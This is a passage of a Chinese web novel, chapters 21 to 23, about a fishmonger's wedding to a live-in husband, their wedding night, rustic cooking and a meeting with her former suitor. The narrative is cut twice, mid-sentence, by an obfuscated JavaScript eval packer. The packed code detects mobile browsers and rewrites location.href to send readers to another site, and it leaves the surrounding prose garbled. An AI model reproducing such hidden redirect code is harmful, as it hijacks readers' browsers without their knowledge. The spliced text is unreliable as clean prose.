她白日里多在档口干活，见不到几个人。就是苦了木头，晚上缠着她告状，道白日被人像看猴子般看了好半晌。 平安只得摸了摸他的头，温声安抚几句。 他倒也知足，得了几句好话便喜滋滋去灶房灌上等会一家子洗漱要用的热水。 就在桃花盛开的春日，胡平安与杨榆明在月河村家中举办了昏礼。 两人身着棉麻喜服，一同向主座上的胡水生敬茶。 为着今日，一向勤俭的胡水生特意换上一身九成新的藏蓝色麻布长褐。 望着孙女敬来的新茶，他强忍着眼角的热泪，颤抖着伸出蜡黄枯瘦的手，小心接过：“好，好！” 说罢，他从袖中掏出红封递给两人。 “往后你们和和美美过日子，定要记得相互扶持，相互信任。” “好！”四周围观亲友纷纷鼓掌庆贺。 在一阵热闹的鞭炮声响中，新人对拜，礼成！ 旁观典礼的人一哄而散，纷纷抢占起在酒席的座位来。 胡水生带着木头挨桌敬酒喊人，认人。 木头这人有时候虽有些懒散，但有一优点早已显现——嘴甜。 不多时，那些亲戚都被他的花言巧语迷得神魂颠倒，一个个叹平安找了个好夫婿。 郎君好不好，平安不知。 她只知自己这昏礼的酒席是真好吃啊，节俭大半辈子的爷爷，给她的昏礼宴席定了五荤三素两凉菜一甜点，从村人那里借来的木圆桌被这些菜摆得满满当当。 21. 杀鱼的第二十一天 按理作为新娘，她应在婚房等着新郎进门洞房。 普通农家办个婚事也无太多讲究，更何况她家还是赘婿上门。 忙碌了整日，胡水生自是舍不得孙女就那样饿着肚子，他力排众议，喊上几个亲戚家的小孩，给平安在屋内另支了一桌宴席。 望着自己馋了好久的鸡，平安先夹为敬，在村里吃席，就是得手快。 她身边坐的虽是小孩，但吃饭速度一个个飞快，她要是动作慢上一分，一盘菜吃不了几筷。 这一道鸳鸯炙鸡是用农家喂养的走地鸡与香料一起文火慢焖数时辰，待得上桌，鸡肉一戳即烂，入口肉质细嫩、肥美多汁，算是这次宴席的招牌菜。 脆嫩的鸡皮裹挟着浓郁的鸡汁入腹，平安不由心生感慨，不愧是她爷爷精挑细选的大师傅，做出来的鸡肉又嫩又香。 至于紫苏鲫鱼和甲鱼汤，因当地水产丰富，一向是宴席常客。 不过，最受欢迎的当属梅干菜扣肉，这道菜香辣下饭，吃得人满嘴流油，刚一上桌，便被其他人大筷夹空大半。 当然那酱爆鳝鱼、芋头青菜汤、素炒三鲜、凉拌石耳、香油蒜须，神仙富贵饼也皆受欢迎。 毕竟，除了过年，普通百姓家平日里哪吃得到这么多好菜。 外间不少客人都赞称这回场面盛大，宴席可是下了血本，连这素菜中都熬了高汤，入了鸡子。 为着节省昏礼开支，家中已经数日未曾开荤，这鸡肉一下肚，平安觉得自己的肚子就像干涸的土地逢降甘霖，终于得了些油星。 酒足饭饱，平安安抚好同桌的宾客，擦净嘴上的油珠，这才蹑手蹑脚回到新房。 另一边，满面酡红的木头在众人拥簇下被推入洞房。 一行人闹了几场，得了些喜糖喜果后心满意足离开。 只留下新鲜出炉的新婚夫妻面面相觑。 昏黄的烛光下，两人对视一眼，皆飞快收回视线。 虽只看了一眼，但平安却被他目中的炽热烫得心慌。 她想，一定是这闪烁的烛光晃花了她的眼。扪心自问，她今日的装扮绝说不上好看，光是那白得晃眼的铅粉和那猴屁股似的腮红，就足以让她眼前一黑。 连她自己都看不惯，更勿提其他人。 她以前基本不涂脂抹粉，今日顶着这么厚一层胭脂过一天，只觉脸被憋得黏糊糊。 平安正坐立难安，在想要如何处置脸上的妆容时，木头就唤了一声。 “娘，娘子。”随即期期艾艾地挨着她坐下。 瞧着他这扭扭捏捏，含羞带怯的模样，倒是比她还像小媳妇。方才那目光，倒像是她的幻觉一般。 “扑哧。”平安忍俊不禁地笑道，“不知道的还以为你要喊我娘呢。” 木头肩背一垮，伸出的手默默被缩回袖中。 他只觉酝酿多时的暧昧气氛消散一空，他家娘子什么都好，就是不该多生这一张嘴，好生生的新婚夜，顿时被她说得一丝柔情也无了。 这样丰姿冶丽的漂亮娘子，若是肌肤赛雪，香风阵阵，讲话时含羞低语，声音清丽，再穿着些上好的缂丝与贡缎做的衣裙，那才是好比天仙。 如是想来，木头心中不禁颇为遗憾。但好歹多日夙愿成了真，眼见着真与胡娘子拜了天地，入了洞房，他这会也不禁心胸澎湃，顿生豪情万千，恨不得大展拳脚才好。 俗话说得好，灯下看美人，下一句是什么来着，木头记不得了，他只觉得。今日的胡娘子面容娇媚，眼含秋水，一颦一笑都让他心尖乱颤，恨不得揽进怀中一亲芳泽，极尽怜爱。想是这么想，他做也这样做了，当下就拉住平安想亲香一口。 平安尚来不及反应，便被木头一把拉住腰肢跌靠在他胸膛。 陌生的气息与心跳声霎时侵袭平安感官，知晓接下来要发生什么，她的心在这会也不禁砰砰乱跳。 她一向觉得他过于羸弱，但当下，却无端被两人的距离燥得心慌。 瞧他上来就要张嘴，平安下意识侧首。 温热的唇瓣从她侧脸滑过，木头炽热滚烫的呼吸却萦绕在她耳畔。平安只觉耳尖似有无数蚂蚁在密密麻麻地窃咬，要不然她怎么会微微发痒呢。 饶是她嘴上荤素不忌曾与方娘子杨婶子谈了千八百遍这床笫间的破事，但这会轮到自己真刀真枪实践了，她却有些紧张起来。 慌乱间，平安拽倒床边的杌子。 “扑哧！” “哈哈哈哈！” 传入耳帘的却不是杌子落地声响，而是一阵阵闷笑，平安才知竟是外边偷听墙角的客人不禁笑出声来。 两人如梦初醒，平安慌忙将木头推开，快步起身离榻：“我去洗脸。” 木头朝她背影瞧了一眼，大咧咧打开房门，挥手赶客：“去去去，春宵一刻值千金，你们在这我还怎么千金。” 说罢，他拿着手中的喜糖递给众人，待见得人走远，他方安心关门。 洗脸架旁的平安听得这话，顿时有些牙痒痒，这不知羞的，脸皮怎么比门板还厚。净说出这些胡话，这要让她以后怎么出门见人，她这玉溪镇凶神恶煞女屠夫的一世威名岂不毁于一旦。 她看了眼手中的脸巾，狠狠地捏尽其中水分。 趁平安不注意，木头偷偷擦干净嘴上的粉，变白的娘子好看是好看，就是糊了他一嘴的脂粉。呸呸呸，等下他可还怎么亲嘴。 索性无事做，他自己也打了盆水将身上擦了几下，随即坐在床边好奇打量他们的婚房。 这还是他第一次进她的闺房，听说里面的家居全都是爷爷早些年给平安备好的嫁妆。 房间很大，却不空荡。 房中精心陈列着各式散发清冽香味的樟木家居与爷爷自做的竹艺器具，桌边、茶几、床边角落都插着几枝盛开的桃花树枝，搭配着新粉的白墙与泛着草木清香的竹帘，整个房间装扮意外的清新雅致。 放眼望去，入目皆是耀眼的正红。 望着那烈烈燃烧地龙凤喜烛，木头睫毛轻眨，他转身便坐到床边，又伸手按了按新床，这床可真结实，比他睡了一月的竹床不知要结实多少倍。 他用力压下去，竟然一丝声音也无。 他之前睡的那张竹床，他翻个身都咯吱咯吱响，他生怕哪一日就塌了。 天可怜见的，在那敝塞的杂物房睡了那样久，他总算是熬出头了。 平安刚转身，就见木头腾地站起身来。 “怎么了？”平安笑问。 木头只是歪着头含笑不语，朝她招了招手。 她刚踏入床边，身后的床帘便飞快散落，人也被木头扑倒在床上。 咚地一声响，平安被撞得头昏目眩。 “喂！干嘛？”平安惊呼出声。这会她只庆幸，幸好她将头上那些尖锐的簪钗都取了下来，要不然这会喜事得变白事。 “干坏事~~”木头语气荡漾，挑眉坏笑。 平安觉得，人有时候无语起来，不但不会发怒，反而会有些想笑。 察觉娘子不虞，木头动作微顿，小声问道：“怎么了，娘子？” 平安方欲开口，木头便小心翼翼将她扶起坐好。 “可是今天昏礼累着了，我给你捏捏。”说着，便真的低头弯腰给她揉捏起肩背来。 这番讨好让平安的话都被堵在喉间，她深吸一口气，越觉越不对劲，这手往哪里摸呢？ 平安扭头，正想斥他几句不正经。 一转眼，却差点沉溺在他那是熠熠生辉的含情目中。虽然木头是个糊涂蛋，但该说不说，他那双漂亮的桃花眼奕奕有神，连带着上面的睫毛，也是又浓又密。一双浓眉斜飞入鬓，英气勃勃，剑眉星目莫过如此。可偏偏他面如冠玉，眉目含情，整个人气质便瞧着柔和三分。 这会他还用饱含柔情的目光瞧着你，只一眼，就仿佛被吸坠进那含有万千星河的荡漾湖泊之中，平安的脸悄悄泛起一丝红晕，狗男人，也就这张脸能看了。 知晓他爱装模作样，她下意识想将他推开，但看他眼睫低垂，再度摆出一副乞尾求怜的可怜模样。 杀鱼时面不改色的女屠夫竟也一时心软，想着还是在新婚夜给他个面子。 方娘子说，男人都要哄，过刚易折，她之前那样倔强孤傲的性格可不成。 平安深以为然，季泽不就是被许家表妹的绕指柔迷得神魂颠倒。如是想，她摩拳擦掌，决意在木头身上实践一二。 思及此，平安揽住他的肩背，轻轻闭上眼睛。 这男人，于这一事上，或许是有些无师自通的本事。 只是不知是天赋使然，还是另有原因？ 罢了罢了，管它呢，平安这会不想想太多，她只要一个孩子。 恍神间，颈间传来一阵刺痛，平安蓦然睁眼，对上木头亮晶晶的眼睛。 她这会已摇晃得神志不清，与他热情的视线对上，心下暗叹，不但眼睛像狗，连行为也这样像。 夫妻之间敦伦的这些破事，她早听方娘子杨婶她们念叨了百八十遍，无外乎阴阳调和，乾坤有序。 他一会这样，一会那样，正事不做，偏爱在她身上乱蹭，白费那样多功夫。 “娘子，你走神了。” “你。” 平安接下来的话被撞得支离破碎，既勾搭她，又不许她说话，这会她气得二佛升天，脑中迷迷糊糊只余一个念头，走着瞧。 这种事情，她是体会不到什么快乐的，只得抿唇咬牙，等着这一场风波过去。 待风平浪静，平安恨恨地拿软枕砸向木头：“我刚说不要，为何不温柔些？” 枕头刚脱手，她心中便暗道糟糕，孩子还没影，要是将郎君吓跑，自己之前的戏可不得白演了。 谁料木头这人却也不怕她，见她生气，反而待她愈发亲近。 “好娘子。”木头将她揽在怀中，亲昵地埋在她脖间蹭蹭，那炽热的呼吸与肌肤相触的，直让她后背发麻，指节控制不住地蜷缩。那厢不要钱的好话更是连番输出，“我错了，原谅我好不好，我只是太高兴了。” 平安暗松一口气，背过身去不理他。 若他说甚就是甚，长久以往，她岂不是妻纲不振。 不成，不能这样轻易原谅。 看她不为所动，木头也很是能屈能伸。 “好姐姐~~”木头的手试探性搭在她腰间，朝她腰间软肉袭去。他的声音又低又哑，是介于少年与青年之间的清越音色。如今撒起娇来，直听得平安心肝颤颤，下意识想到被她摸得翻肚皮的灰灰。 咳咳，只要他乖乖地，也不是不成。 她就是这样没有底线。 “咱们得约法三章！” “只要娘子原谅我，做什么都行。”平安笑着拍开他的禄山爪，道，“婚后咱们踏踏实实过日子。” “自然。” “一起孝顺爷爷。” “他也是我爷爷。” “不许沾花惹草。” 这一次，木头的回答比之前慢上一拍。桌上的龙凤烛烛光被大红色床帘遮挡大半，昏暗的帏帐内，万籁俱寂，平安清楚地听到他吞咽的细微声响。 随即熟悉的声音幽幽传来：“有娘子足矣。” 是吗？平安心中不信，但她并未继续纠缠，只将自己定下的规矩同他道明：“成，贪多伤身，每月最多三回。” “你这不是要我命吗，好娘子。”平安这句话，彷如晴天霹雳，直将木头炸得心肝乱颤。才开荤得了滋味，他自然不想轻易放过这个好处。 但他明白，自家这娘子性子有些拐，不能与她直接对上。 “夫妻敦伦，本只为繁衍后代，岂能为一己私欲.....” 不待她说完，木头便已语气柔和地缴械投降：“好娘子，新婚夜，咱不说这个吧。” 谁叫平安只吃软不吃硬，听得他好声好气与自个说话，平安刚刚鼓足的士气一戳就破，顿时偃旗息鼓。 “都怪娘子太惹人爱，我可想你想得紧。” “呸呸呸！”说甚胡话，平安不由暗啐一口。 这家伙，嘴上老实，可那一双手却不住作乱，平安被他扰得老脸一红，便也半推半就随他去了。 待红烛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105415|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃尽，发出最后一声噼里炸响，窗外月色渐沉，传来阵阵公鸡鸣叫。 随意擦洗一番后，两人各占一边沉沉睡去，一夜好眠。 次日，夫妻俩强忍困意，相携给爷爷敬茶。 他端坐堂屋主位，眉开眼笑，和蔼地叮嘱两人几句，便让他们歇着去了。 昨日办的宴席自然剩下很多菜肴，今日夫妻俩便一同整了整，给借了桌椅的村人送上一些。 顺道也让木头认认人，过个明路。 新婚这三日，胡水生拍板决定，让平安好好在家歇着。早在昨日，趁着昏礼，胡水生唤来几位侄女，一人还了一贯钱。 至此，他家还余下六贯外债，爷孙俩再加把劲，今年也能将债务彻底还清。 处理完昏礼的善后事宜，夫妻俩竟也寻不到什么事做，只得一左一右，围着爷爷一起剖竹丝。 两人在一旁叽叽喳喳，不停问这问那，胡水生耐心解释半日后，也不胜其烦，只得放下手中的活，随他们在树下歇凉。 如愿看到爷爷收手休息，两人对视一眼，挑眉嬉笑。 都是一家人，他们怎么能看着自己玩耍爷爷干活，该一起休息才是。 人生大事落地，夫君乖巧听话，今日又有闲功夫，平安好心情地拉着木头往灶房而去。 她本想用芝麻、蜂蜜、白糖做一道甜食——芝麻糖薄脆。但她看着灶房箩筐里堆积如山的芋头，临时起意，便打算多做一道荷叶芋艿羹。 挑出十几个芋头，抽出七成让木头将皮削净，另外三成则上锅开蒸，同爷爷说上一声，平安自己便准备出门去摘荷叶。 谁知木头却闷声跟了上来，见平安察觉，他笑嘻嘻地上前，揽住平安的胳膊。 待两人行至门前，好奇许久的木头指着右边那断了一截的粗壮樟树问道：“娘子，娘子，这树好生奇怪，怎么平安无故断成这样。” 平安听他突然提起此事，当下也有几分心虚，她瞥了眼左右，这才清清嗓道：“那想来有缺德鬼在树下乱说话乱发誓，被雷给劈断折腰的吧。” 木头脚步一顿，平安的心猛然一跳，还以为他识破自己的谎言。 谁知他只是拉着平安发誓：“娘子可是不信我之前说的话，故意试探于我，我对娘子的真心，天地可鉴，我才不怕被雷劈。” 平安松了一口气，她就不该期待他有多少脑子。 这会荷叶难寻，两人找了好久才找到几片大小还算合适的荷叶。回来路上，木头一会拿荷叶给平安撑伞，一会将荷叶凑到鼻间猛嗅荷叶清香。 待得归家，两人才算各归其位。 常规的糖薄脆多用面粉和入椒盐酥油糅合成剂，刷上糖水，沾上些许芝麻入火炉烘烤。 但平安今日想做个不一样的薄脆。 取白糖一两、蜂蜜一勺、水一碗、酥油一两，糯米粉二两、鸡蛋清一个，去皮黑芝麻三两备用。 刚消停没多久，那边削皮的芋头抱着刮刀呜哇乱叫：“好痒啊，娘子，痒死了，痒死了，这芋头有毒，咱们别吃了。” 芋头本就麻手，他还削一下皮洗一下手，沾了水，那毒性发挥地更快，他又细皮嫩肉，不痒他痒谁。 胡水生接过削皮的活，好笑地让他休息，平安便拉着他进门烧火，烤烤发痒的手掌。 等火烧起来，热气炙烤到皮肤上，能有效缓解这种刺痛般的奇痒，也算是一举两得。 将所有材料混合于盆中，搅拌成干湿均匀的面糊。 灶上一共有三个孔，两个放锅，一个烧水。平安取下一个锅，安了个铁架进灶。 烈火熏烤铁架的时间，平安用勺子舀一勺面糊均匀涂抹于盘中，将其按压成均匀的薄片，待见着灶炉内红碳适宜，抽出所有未烧尽木柴，将盘子入铁架上开烤。 另寻了个炉子起火，平安开始准备熬红糖浆。 爷爷早将芋头削完□□安将这些芋头切完丝，与蒸熟去皮的芋头一同丢进擂钵。看木头这会也不再喊痒，她将木棍递给他，嘱咐道：“把它们擂成泥，生的熟的要均匀混合在一起。” 木头刚刚丢了个大脸，这会回过神来也觉得颇为丢面。虽还是有些害怕这东西，但他正想找个机会挽回失去的颜面，听得平安叮嘱他干活，当下顾不得其它，只满口答应，热火朝天地开始干起活来。 新鲜芋头本就脆嫩，再加之有数芋泥中和，做起来倒是没有做藕丸那样磨人，只是这东西多了，转起来阻力大，时间久了，木头的动作也逐渐迟钝起来。 看着擂钵中的生熟芋头变成了糊，平安将熬好的糖浆倒入芋泥糊中心，再用棍子从侧面开始抄底翻面。如此一来，就能尽量避免糖浆与木棍和擂钵的接触，也能减少些浪费。 家中吃不完的芋头、莲藕、豆子，她和爷爷都勤快地做成了粉。 只不过这会家中芋艿粉不太够了，平安取完一碗芋艿粉，剩下的便用藕粉凑数，再加入大勺猪油，平安搓上些干粉，便开始下手揉。 经过多次反复捏和，芋泥糊逐渐发韧上劲。 这会需用小蒸笼，平安数着时间也差不太多，便打算看看薄脆的情况。 刚掀开炉盖，便闻见一股扑鼻而来的芝麻浓香，挥散雾气认真看去，那薄脆边缘已烘烤出金黄的裙边。 芝麻本就易熟，她将薄脆取出，只待凉透后食用。 从盆中取出浸湿的笼布与洗净的荷叶，笼布绞干摊平入蒸笼，再将荷叶摊放在笼布上。这荷叶需比蒸笼大，四周立起，如此倒入的芋泥糊才会从边缘漏出。 理了理荷叶，尽量让荷叶与笼布相贴紧密，平安这才放心倒入第一层芋泥糊。想了想，她又切碎一些油渣与红枣，将它们铺在芋泥上方。 再倒入一层芋泥糊，这样油渣红枣碎就被芋泥完整地包裹在中间。 这荷叶芋泥羹需蒸一个时辰，但薄脆却冷得很快。新鲜出炉的芝麻薄脆名副其实，冷却后又薄又脆，两面皆是满满的酥香芝麻。捻在手中，薄如竹篾，吃起来酥脆掉渣，芝香浓郁，甘甜滋味伴随始终。 她想，这桩云里雾里的婚事，要是也能从头甜到尾就好了。 22. 杀鱼的第二十二天 薄脆虽香，可这道荷叶芋泥羹却得到了木头与爷爷的一致好评，平安自己尝起来味道也很不错。 芋泥羹整体色泽呈灰紫色，质地油润细腻，入口糯甜绵软，口感醇厚，吃上一块，齿颊间还依稀可品到荷叶的清香。 这两日，两人在月河村玩得不亦乐乎。除了带着木头访亲问友，平安还带他逛遍自家田地池塘，也好让他认认门。 不管怎样，她如今出门也总算扬眉吐气，不用再面对形形色色的催婚言语，终可以安心赚钱。 而挡箭牌木头这几日也表现良好。 成了婚，竟比之前还勤快了几分。 听得鸡鸣，便按时起床劈柴、挑水、打扫庭院，就连除草这样的细致活计也耐得下心与平安一块伺弄。 春耕刚过，地里的青菜得换上一轮。 松土垒垄，沤肥施肥是农家耕种必不可少之事，饶是已经自诩见惯乡中艰苦的木头，见得那一堆气味冲鼻的鸡粪，鸭粪，顷刻间便头晕眼花，被那冲天的恶气熏得连连干呕。 瞧他这可怜模样，平安心中好笑，不禁出言调侃：“咋了，咱们刚成婚，夫君你就怀了，可真是个好生养的。”说罢，平安轻佻地拍了拍他后臀。 木头双眼瞪如铜铃，在他心中，娘子一直是个沉默勤奋的小娘子，何时变得这样促狭爱捉弄人。 待他反应过来，顿时气得跳脚，捂鼻子的手下意识护住被平安拍打的部位。 “娘子！！！”他气急败坏，耳根通红，上来就要掐平安的脸。 “哈哈。”平安灵活扭身躲过，寻得一旁的粪桶护身。她实在有些想笑，这人不是惯来混不吝脸皮厚，这会摸一下怎就成了小媳妇模样。 果然，一见到这桶，木头便后退一步，不再往前。 平安好笑地铲起一铁锹鸡粪往桶中倒。 只不过这铁锹在进桶之前，还在木头面前拐了个弯。 “哎！”木头愁眉苦脸地睨了她一眼，神色纠结。 看着平安埋头苦干，他一咬牙，拿了块布堵住鼻子，这才上前抢走平安手中农具。 “你我既为夫妻，这样的粗活自然该我来做。” 平安面上的戏谑之色渐渐收敛，她定定地望着这个娇矜的年轻郎君，只觉有什么不太一样了。 虽然是个做不得什么活的废渣，但他这颗上进的心是值得鼓励与赞许的。 若是能一直..... 打住，平安立马制止了自己的遐思，未来的事未来再说罢。 她拍了拍手，打算做两道好菜安抚一下新婚夫君受伤的弱小心灵。 她嘱咐狗崽看好家门，自己则去田间寻旱莲草。 别看这绿叶白花，漫山遍野皆是的小草模样普通，它又名黑饭草、黑墨草等等，别名数不胜数。听郎中说，它亦有珍贵的药用价值，即可滋补肝肾又能凉血止血，对牙齿松动、眩晕耳鸣、腰膝酸软等症皆有良效。 将枝叶采摘放入篮子，又择了路边几颗成熟的桑葚，这才好心情地归家。 择净黄叶与泥土，平安将洗完的墨旱莲捶打出汁，取纱布将渣滓过滤，绞取青墨色汁水放置瓷钵，与淘洗干净的上好粳米一同浸泡。 不多时，墨绿色的汁液如缥缈的云雾般在水中迅速晕染开来，逐渐与雪白的米粒混合沉淀。 剩下的墨旱莲也不浪费，一些留着洗发，一些则可做成金陵煎服用。 待平安兴致勃勃将灶门打开，空气中传来的幽幽气味瞬间唤醒她的记忆。 这金陵煎得在日中熬煮数日，若是在外熬制，就算没被熏入味，她也是无法下口的。 所幸这风一阵一阵，只要不刮南风，那屋里便还算清净。 她从门缝往外边看去，就见木头这会已经大汗淋漓，手上动作也越来越慢。 太娇了，确实得补补才好。 平安止住上前的步伐，叉腰感慨。 平安扇了扇袭至鼻间的味道，面不改色地将灶房门窗关紧。 那墨旱莲，等会她就捶些姜汁，取几颗皂荚与无患子一同熬煮。这样熬出来的洗头水，洗出来的头发乌黑亮丽，洗完再用捣碎的木槿叶润发，发丝瞬间就可变得柔顺丝滑。 农家人虽用不起贵人用的香胰子，但在一代代聪慧农人的传承下，这田野乡间随处可见的植物都可变废为宝。 将今日吃的粉蒸芋头与鱼头豆腐配菜备好，平安打开锅盖，拈了几颗粳米观察色泽，墨色已逐渐浸染至米芯。 差不多了，沥干盆中汁液，将墨绿的米饭与金黄的芋头一同上锅蒸熟。 她这蒸芋头用的粉还是之前婚宴上剩的，用这米粉是大师傅用多味香料炒制，待大米变得焦黄，再用碾子细细碾碎，这才做出这焦黄喷香的米粉。 光是闻着，便仿佛尝到了那馥郁的咸香。用它蒸出的来的粉蒸芋头，外层被这金黄米粉完整包裹，入口微咸，再品回甘，内里极其粉糯细腻，满是芋头的清香。 她今日备的份量少，不过一炷香时间，米饭便已蒸透。 新鲜蒸制的米饭色泽青碧，异香扑鼻，别有风味，当地喜称它为青精饭。 这青精饭还可晒干储存，待晒至坚而碧色，贮存备用，若需取用，择适量滚水下锅顷刻即熟。 有那更讲究的，则九蒸九晒，待米粒变得紧小，出远门时可作行军粮。 不过自家食用，也无甚讲究，加之时间紧迫，平安便将步骤简化。 家中还剩下一些鸡油与鸡汤，平安将鸡油化入鸡汤之中，熬煮沸腾调味。 一部分被她下入新鲜细嫩的春笋片，一部分则下入野辣菜抽出的细嫩菜苔汲取鸡汁鲜味。 这样做出来的鸡汁春笋，既有素菜的鲜脆，又兼有浓郁的鸡香。 嫩菜苔更不必说，上通下直，是吸味的好手。待熬煮得咕噜冒泡，嫩嫩的菜苔也变得清甜粉糯，一口下去，满是香喷喷的汤汁，极其下饭饱腹。 木头这会也将院中新翻的菜地均匀地铺上一层肥料，见得平安出门，他竟倚着锄头朝她挑眉请功。 平安朝他莞尔一笑，不错，倒还挺乐观。 她上前接过他手中的锄头，示意他去喝口茶水解解渴。 等两人收拾得差不多了，平安将豆腐切棋状，下入鱼头汤中，这才出门去喊打叶子牌的爷爷归家用膳。 见着这绿油油的米饭木头很是稀奇，他埋头大嗅一口，热情夸赞：“娘子真是蕙质兰心，连这新奇玩意也会做。” 语气是很热情，只是观他眼神闪烁，表情惶恐，这说的不知是真话还是假话了。 脑子是有一些，但不太多，这演技也忒差劲了。 平安笑得温柔：“既然夫君爱吃，那便多吃些，只要夫君好好待我，这青精饭想什么时候吃，便什么时候吃。” “当然。”她语调一转，拉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125748|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉他的手，“不想吃也行。” “爱吃，爱吃。只要娘子做的我都爱吃。” 胡水生的筷子停滞半空，看着这小俩口打半晌机锋，他夹上一筷菜苔，无奈地摇摇头。 年轻人的事，他这把老骨头，就不掺和了。 平安此举，滋补目的有，提醒意味亦有。 新婚夜的温柔，让她得了一个好的开始，这对她来说，确实是笔划得来的买卖。 方娘子所言甚是，男人啊，果真就爱吃这一套，既希望女人温柔大度，又希望她在乎自己。 所以，一次无伤大雅的撒娇卖痴，一场拿捏有度的欲擒故纵，不过是生活中的小小情.趣罢了。 “爱吃也不能只吃这个，来，喝点汤补一补。”平安温和浅笑，执调羹给他舀上一碗温热的汤水。 木头面上感动，心中却泪流满面，他出事月余，他家娘子总算记起来他也只是个将将恢复的病号，愿意施舍给他些清淡滋补的汤来养身子了。 新婚假期一闪而过。 只是没想到，这日清早，季泽会守在档口等她。 看他眼圈青黑，眼中血丝遍布，这几日想来未得好眠，只是平安自觉已将两人纠葛处理干净，说得清楚，面对他如此作态她心中实在殊为不解。 “你这几日家中可有事？”季泽红着眼问道。 “有。”平安点点头，看季泽张口欲言，她从怀中掏出几颗喜糖，“前几日与家中远亲相看成了亲，季郎君沾沾喜气，我也祝您和许小娘子长长久久，有情人终成眷属。” 季泽身体微僵，迟迟未接。 半晌后，他方遏制住内心的惊诧，失声问道： “你成亲了？” 平安瞧着，他本就白皙的面庞在街边昏黄烛光的照射下，愈发没有血色。 但这又何必，她从不爱吃回头草，之前是，现在也是。 她不欲与他多说，只淡淡回道：“是，找了个赘婿倒插门。” “果真？”季泽颤声问道。 看季泽满脸的不可置信，平安轻声应道：“这都是我的真心话。” 语未毕，手上骤然一轻，季泽已拿着那三颗糖踉跄离去。 收回视线，平安轻挽衣袖，理了理身前的浪披不再言语。 在遇到季泽之前，她倒是真不知道，原来郎君可以同时爱上很多小娘子。 或许他的心曾经是真的，可是他的心是碎的，不完整的。 他可以这样做，也可以处处留情，但她不接受受害对象是她。 四周的邻居面面相觑，等季泽离去，一行人蜂拥跃至平安身边。 “成亲了？你这丫头，嘴巴这样严实？” “我就说禁渔你都不关门，这几日突然关门是去干什么去了，亏我还担心你家里出了事。” “也不带过来给我们看看。” “是啊，是啊。” “婚事匆忙，有不当之处还请大家见谅，这些喜糖是我的小小心意。”平安收敛漠然神色，笑嘻嘻地掏出备好的喜糖散发开来。 竟是用油纸包好的雪花酥与芝麻薄脆。 见她如此知趣，众人得了糖甜嘴，铺天盖地的甜言蜜语朝平安袭来，又一窝蜂离去。 市集的客人也如潮水般，隔一段时间一阵阵涌来。 “给我来条鱼做脍鱼片。” 平安抬眸一看，正是熟客曹伯。 23. 杀鱼的第二十三天 他上还提着几把青菜和一条猪肉，想来家中有客人招待。 “好嘞。”平安干脆应道，转身便去桶中寻来一条鲤鱼。 平安扬起甩尾的鱼给曹伯看，见他点头，这才把鱼敲晕称重。 算好价钱，她熟练地杀鱼、刮鳞、抠鳃、剖肉、剔刺，不多时，一条鲤鱼便已骨肉分明。 将鱼排切片平铺在荷叶上，平安换了把轻薄的剃刀给鱼肉切片。 这片鱼也有讲究，若是打边炉，自然需拇指宽度、肉片不薄不厚，如此才有嚼头。 若是这鱼脍，自然是越薄越好。 俗话说得好，食不厌精，脍不厌细。 她们当地爱食鱼脍的人不多，但爱食之人都对此颇为讲究。 有人爱食鲤，有人爱食乌鱼，这鱼脍一道，不拘是鱼儿品类、蘸料搭配还是片鱼手法，他们自有一套自己合意的搭配方式。 为了练出这一手薄如蝉翼的脍鱼片，平安私底下不知道霍霍了多少无辜鱼儿，这才练就这下刀如有神的利落本事。 “胡娘子，最近成亲了？” “是，等会片好鱼，请您吃喜糖，之前劳烦您为我操心了。”平安倒是不意外他听到消息，这市集里有什么风吹草动，一向是不过一个时辰便可传遍镇上。 切刀与案板明快相击，发出阵阵节奏连续的咚咚声响。 曹伯心想，胡娘子虽有一把好力气，做起这精细活来亦收放自如，又快又好。 言谈间，荷叶上已整齐摆好大小均匀的鱼脍，曹伯拿出一片迎光细观，这鱼片薄如丝缕，轻似蝉翼，那洁白细腻的鳞状纹理，在此刻清晰可见。 离得近了，还可闻见好鱼独有的清甜气味。 这种清甜的鱼，肉质细嫩，入口丝滑，品有余甘，只有那上好水质的水域才可孕育产生。 鱼脍吃得多了，他自然养出一张挑剔的嘴，莫说有鱼腥味，就是那家养和野生，小溪与大河的鱼，在他看来，味道与肉质也不尽相同。 一闻便知区别，一尝可判高下。 平安将鱼片打包，利落给他备好青芥酱汁与自己秘制的鱼醢，又往里面塞上块喜糖，这才低声嘱咐一句：“鱼脍虽鲜，曹伯您应少食才是。” 这鱼脍，平安曾因好奇试过，鲤鱼细嫩清甜，乌鱼白里透红，颜色艳丽，草鱼则肉质肥厚，鲜嫩多汁。 鱼脍的确口感独特，可品原味，亦可以鱼脍为底蘸酸甜苦辣咸各味。 味虽鲜，但她自从听说有人因此丧命，便心有戚戚，不愿再尝。 世上鲜美之物何其多，她保重小命要紧。 “嗐，那臌胀病说是这样说，但得的人少，可我一段时日不吃这个，我心就如同虫蚀，怪痒痒。” 他递过铜板，接过案板上包好的鱼脍与喜糖，笑着与平安道别：“孩子，成了婚可就责任大咯。” “好好过日子。” “会的，曹伯。” 她在市集鱼档混迹七年，除了鱼虾新鲜外，自然也有一些站稳脚跟的揽客技巧。 就如今日这做蘸水的鱼醢，做起来虽费时费力，但做出来的鱼醢却因她独特的酿制技巧而以鲜美出名。 